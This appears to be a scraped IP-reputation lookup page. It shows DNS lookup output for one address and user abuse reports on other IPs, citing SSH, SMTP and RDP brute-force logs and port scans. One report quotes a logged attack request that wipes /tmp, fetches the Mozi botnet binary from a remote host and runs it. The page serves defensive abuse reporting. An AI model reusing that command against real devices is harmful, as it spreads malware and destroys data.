Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: unknown

Region: unknown

Country: United States of America (the)

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:
No discussion about this IP yet. Click above link to make one.
Comments on same subnet:
No discussion about this subnet yet..
Whois info:
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Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 83.116.21.51
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 15380
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;83.116.21.51.			IN	A

;; AUTHORITY SECTION:
.			30	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2025012601 1800 900 604800 86400

;; Query time: 34 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Mon Jan 27 11:35:39 CST 2025
;; MSG SIZE  rcvd: 105
Host info
Host 51.21.116.83.in-addr.arpa. not found: 3(NXDOMAIN)
Nslookup info:
Server:		183.60.83.19
Address:	183.60.83.19#53

** server can't find 51.21.116.83.in-addr.arpa: NXDOMAIN
Related IP info:
Related comments:
IP Type Details Datetime
94.176.205.186 attackspam
(Oct  7)  LEN=40 TTL=243 ID=41892 DF TCP DPT=23 WINDOW=14600 SYN 
 (Oct  7)  LEN=40 TTL=242 ID=8590 DF TCP DPT=23 WINDOW=14600 SYN 
 (Oct  7)  LEN=40 TTL=242 ID=13357 DF TCP DPT=23 WINDOW=14600 SYN 
 (Oct  7)  LEN=40 TTL=242 ID=30268 DF TCP DPT=23 WINDOW=14600 SYN 
 (Oct  7)  LEN=40 TTL=242 ID=5817 DF TCP DPT=23 WINDOW=14600 SYN 
 (Oct  7)  LEN=40 TTL=242 ID=36495 DF TCP DPT=23 WINDOW=14600 SYN 
 (Oct  7)  LEN=40 TTL=243 ID=33872 DF TCP DPT=23 WINDOW=14600 SYN 
 (Oct  7)  LEN=40 TTL=243 ID=59327 DF TCP DPT=23 WINDOW=14600 SYN 
 (Oct  7)  LEN=40 TTL=243 ID=18723 DF TCP DPT=23 WINDOW=14600 SYN 
 (Oct  7)  LEN=40 TTL=243 ID=60952 DF TCP DPT=23 WINDOW=14600 SYN 
 (Oct  7)  LEN=40 TTL=243 ID=59952 DF TCP DPT=23 WINDOW=14600 SYN 
 (Oct  7)  LEN=40 TTL=243 ID=63953 DF TCP DPT=23 WINDOW=14600 SYN 
 (Oct  7)  LEN=40 TTL=243 ID=57552 DF TCP DPT=23 WINDOW=14600 SYN 
 (Oct  7)  LEN=40 TTL=243 ID=22302 DF TCP DPT=23 WINDOW=14600 SYN 
 (Oct  6)  LEN=40 TTL=243 ID=20461 DF TCP DPT=23 WINDOW=14600 SY...
2020-10-08 05:04:41
119.181.19.21 attackspambots
Oct  7 15:16:00 prod4 sshd\[16137\]: Failed password for root from 119.181.19.21 port 36136 ssh2
Oct  7 15:20:57 prod4 sshd\[18108\]: Failed password for root from 119.181.19.21 port 39966 ssh2
Oct  7 15:25:51 prod4 sshd\[20239\]: Failed password for root from 119.181.19.21 port 43796 ssh2
...
2020-10-08 04:46:54
192.99.55.242 attackspambots
Oct  7 17:42:26 vpn01 sshd[23695]: Failed password for root from 192.99.55.242 port 37834 ssh2
...
2020-10-08 05:13:32
47.30.178.158 attackspam
1602017105 - 10/06/2020 22:45:05 Host: 47.30.178.158/47.30.178.158 Port: 445 TCP Blocked
2020-10-08 04:37:41
36.91.38.31 attackspam
Triggered by Fail2Ban at Ares web server
2020-10-08 05:02:42
66.249.69.253 attack
IP 66.249.69.253 attacked honeypot on port: 80 at 10/6/2020 1:44:37 PM
2020-10-08 04:32:54
2a01:cb0c:c9d:6300:1419:9aec:d676:6ed9 attackspam
Wordpress attack
2020-10-08 04:31:26
42.194.217.169 attack
no
2020-10-08 04:38:27
5.188.206.199 attack
Oct  6 02:32:02 xzibhostname postfix/smtpd[4245]: connect from unknown[5.188.206.199]
Oct  6 02:32:05 xzibhostname postfix/smtpd[4245]: warning: unknown[5.188.206.199]: SASL PLAIN authentication failed: authentication failure
Oct  6 02:32:06 xzibhostname postfix/smtpd[4245]: lost connection after AUTH from unknown[5.188.206.199]
Oct  6 02:32:06 xzibhostname postfix/smtpd[4245]: disconnect from unknown[5.188.206.199] ehlo=1 auth=0/1 commands=1/2
Oct  6 02:32:06 xzibhostname postfix/smtpd[5253]: connect from unknown[5.188.206.199]
Oct  6 02:32:07 xzibhostname postfix/smtpd[6295]: connect from unknown[5.188.206.199]
Oct  6 02:32:08 xzibhostname postfix/smtpd[4245]: connect from unknown[5.188.206.199]
Oct  6 02:32:09 xzibhostname postfix/smtpd[5253]: warning: unknown[5.188.206.199]: SASL PLAIN authentication failed: authentication failure
Oct  6 02:32:09 xzibhostname postfix/smtpd[5253]: lost connection after AUTH from unknown[5.188.206.199]
Oct  6 02:32:09 xzibhostname pos........
-------------------------------
2020-10-08 05:12:34
112.85.42.180 attack
Oct  8 03:50:05 itv-usvr-02 sshd[22742]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=112.85.42.180  user=root
Oct  8 03:50:07 itv-usvr-02 sshd[22742]: Failed password for root from 112.85.42.180 port 17199 ssh2
2020-10-08 04:59:26
45.95.168.141 attackbots
Oct  7 22:59:32 hosting sshd[8711]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=slot0.fitrellc.com  user=root
Oct  7 22:59:34 hosting sshd[8711]: Failed password for root from 45.95.168.141 port 37332 ssh2
Oct  7 22:59:35 hosting sshd[8714]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=slot0.fitrellc.com  user=admin
Oct  7 22:59:37 hosting sshd[8714]: Failed password for admin from 45.95.168.141 port 42658 ssh2
Oct  7 22:59:37 hosting sshd[8717]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=slot0.fitrellc.com  user=admin
Oct  7 22:59:40 hosting sshd[8717]: Failed password for admin from 45.95.168.141 port 47530 ssh2
...
2020-10-08 04:33:33
103.15.50.41 attack
Automatic report BANNED IP
2020-10-08 04:45:32
106.12.242.123 attackspam
Oct  7 20:54:36 eventyay sshd[12117]: Failed password for root from 106.12.242.123 port 39794 ssh2
Oct  7 20:57:34 eventyay sshd[12243]: Failed password for root from 106.12.242.123 port 49972 ssh2
...
2020-10-08 04:50:21
103.90.226.99 attack
RDP Brute-Force (honeypot 6)
2020-10-08 05:09:13
115.55.142.226 attackbotsspam
SS5,DEF GET /shell?cd+/tmp;rm+-rf+*;wget+http://115.55.142.226:57732/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
2020-10-08 05:04:19

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